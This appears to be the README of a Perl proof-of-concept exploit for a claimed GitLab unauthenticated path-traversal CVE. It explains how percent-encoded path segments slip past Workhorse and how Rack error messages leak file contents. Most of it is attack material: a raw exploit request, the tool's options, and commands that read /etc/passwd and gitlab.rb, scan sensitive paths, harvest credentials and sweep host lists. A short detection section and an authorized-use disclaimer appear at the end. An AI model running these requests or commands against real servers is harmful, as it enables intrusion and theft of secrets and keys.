仅供授权渗透测试和红队行动使用。 未经授权的使用构成刑事犯罪。请参阅法律声明。
CVE-2026-85706 是 GitLab 社区版和企业版中的一个 CVSS 10.0 路径遍历漏洞,允许完全未认证的攻击者通过单个 HTTP 请求从服务器文件系统读取任意文件。无需凭据、无需令牌、无需用户交互。
| 分支 | 受影响范围 | 修复版本 |
|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab 的 HTTP 栈有三层:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse 充当智能反向代理:对于某些“上传”端点(仓库提交、文件操作),它会读取 multipart 请求体,将文件数据保存到磁盘,并在转发给 Puma 之前重写请求。关键在于,它会为其代理的每个请求附加一个 JWT 头(Gitlab-Workhorse-Api-Request)。随后 Rails 在执行任何处理逻辑之前验证此 JWT(通过 require_gitlab_workhorse!)。
第一层 — Workhorse 路由匹配:
Workhorse 使用编译后的正则表达式匹配请求路径,该正则表达式作用于原始、百分号编码的字节字符串。它在匹配之前不会解码 %XX 序列。
第二层 — Puma/Rack 路由:
Puma 在 Grape 路由请求之前解码 %XX 序列。因此对 /repository/%63ommits 的请求会被解码为 /repository/commits 并路由到 CommitsController。
第三层 — 认证前文件读取:
一旦进入 Rails 处理器(该处理器是在没有 Workhorse 的 JWT 的情况下到达的,因为 Workhorse 从未匹配该请求),处理器会从查询字符串中读取 params[:file][:path] 并调用:
File.open(params[:file][:path]) # ← happens BEFORE authentication
通过对静态路径段中的一个字符进行百分号编码,攻击者的请求可以不被 Workhorse 察觉地溜过去:
| 路径段 | 原始值 | 绕过形式 | 编码字符 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (任意) | commits | commits/ | 尾部斜杠 |
| (任意) | commits | commits.json | Grape 后缀 |
文件打开后,内容通过 Rack 的查询字符串解析器外泄:
Rack::Utils.parse_nested_query(File.read(path))
如果文件包含一个 % 后面没有跟两个有效的十六进制数字(这在 Ruby 配置文件、CI YAML、日志等中很常见),Rack 会抛出:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
这个 400 响应体包含原始文件内容,直到并包括违规字节——向未认证的调用者泄露文件内容。
没有可利用 % 序列的文件(例如干净的 /etc/passwd)在读取后返回 401 或参数验证错误:这充当文件存在性预言机(读取仍然发生在认证之前)。
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| 模块 | 软件包 | 作用 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP 客户端(必需) |
LWP::Protocol::https | libwww-perl | HTTPS 支持(必需) |
URI::Escape | liburi-perl | 查询字符串编码(必需) |
Term::ANSIColor | libterm-ansicolor-perl | 彩色输出(可选) |
JSON | libjson-perl | JSON 输出模式(可选) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| 快速(默认) | 完整(--full) | |
|---|---|---|
| 请求数 | ≤9(1 次预检 + ≤4×2) | 27+ |
| 提前退出 | 是 — 在首次确认差异时停止 | 否 — 扫描全部 22 种形式 |
| 版本信息 | 否 | 是 |
| 绕过形式 | 4 种代表性 Files API | 全部 22 种(Commits + Files API) |
| 适用场景 | 快速侦察、大型主机列表 | 渗透测试报告、--file/--scan 准备 |
快速检查流程:
GET /api/v4/version — 可达性 + GitLab 提示/etc/hostname + 唯一金丝雀canary → 'local file not present' ∧ hostname ≠ canary → 存在漏洞(立即退出)完整检查流程(--full):
--project-id 与检查模式--project-id 标志可用于所有模式,包括 --check 和 --check-host-list。理解其交互:
| 绕过组 | 形式 | 项目 ID 依赖 |
|---|---|---|
Files API(%66iles、%46iles、re%70ository/files、…) | 14 | 无 — 根据 CVE 的设计,文件读取先于项目检查。任何 ID(即使不存在)都会产生正确的信号。 |
Commits API(%63ommits、%43ommits、repository/commits/、…) | 8 | 必需 — 项目必须存在且可匿名读取。否则返回 project-gate。 |
实用指南:
--check(快速):仅使用 Files API 形式 → 项目 ID 无关紧要。--check --full:测试全部 22 种形式。如果你知道一个公开项目 ID,传入 --project-id <N> 以同时确认 Commits API 形式。--check-host-list:单个 --project-id 很少能映射到所有主机上的公开项目。请省略它。# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| 判定 | 含义 |
|---|---|
leak | 文件内容通过 Rack 解析错误回显在响应体中 |
leak-fragment | 通过参数名片段部分回显内容 |
read-noecho | 绕过路径上返回 HTTP 401 — 不明确:要么文件读取发生在认证之前(存在漏洞,内容干净且没有错误的 % 序列),要么认证在读取之前触发(已修补的服务器)。使用 --check 通过差异确认 |
missing | 绕过路径有效;到达处理器;文件不存在或不可读 |
rewrite | Workhorse 拦截了此路径形式 — 绕过失败 |
project-gate | Commits API 拒绝了该项目;尝试 Files API 形式 |
noroute | Rails 未路由此路径变体 |
| 功能 | Python PoC | 本 Perl PoC |
|---|---|---|
| 绕过路径变体 | 6 | 15 |
| 批量文件扫描(T1083) | ✗ | ✓ 内置 38 路径字典 |
| 凭据收集(T1552.001) | ✗ | ✓ 22 种凭据模式 |
| JSON 输出 | ✗ | ✓ --json |
| 文件输出 / tee | ✗ | ✓ --output |
| 文件存在性预言机消息 | 基础 | 明确、彩色编码 |
| 重试逻辑 | ✗ | ✓ 可配置的 --retries |
| 每请求延迟 | ✗ | ✓ --delay(浮点秒) |
| 自定义 User-Agent | ✗ | ✓ --user-agent |
| 命名空间/项目 ID | ✗ | ✓ 自动编码 / → %2F |
| 详细模式 | ✗ | ✓ --verbose |
gitlab.rb 中的 secret_key_base 和 otp_key_base/home/git/.ssh/、/root/.ssh/)搜索对 /api/v4/projects/*/repository/ 路径的 POST 或 PUT 请求,其中包含:
%63、%43、%72、%70、%66、%46 等)file.path 查询参数commits 或 files 端点上的尾部斜杠或 .json 格式后缀本工具严格用于:
未经授权使用针对你不拥有或缺乏明确书面授权测试的系统,在几乎所有司法管辖区都是非法的,并可能根据计算机滥用法(CFAA、Computer Misuse Act 等)导致刑事起诉。
本工具的作者和贡献者对因本软件造成的任何误用或损害不承担任何责任。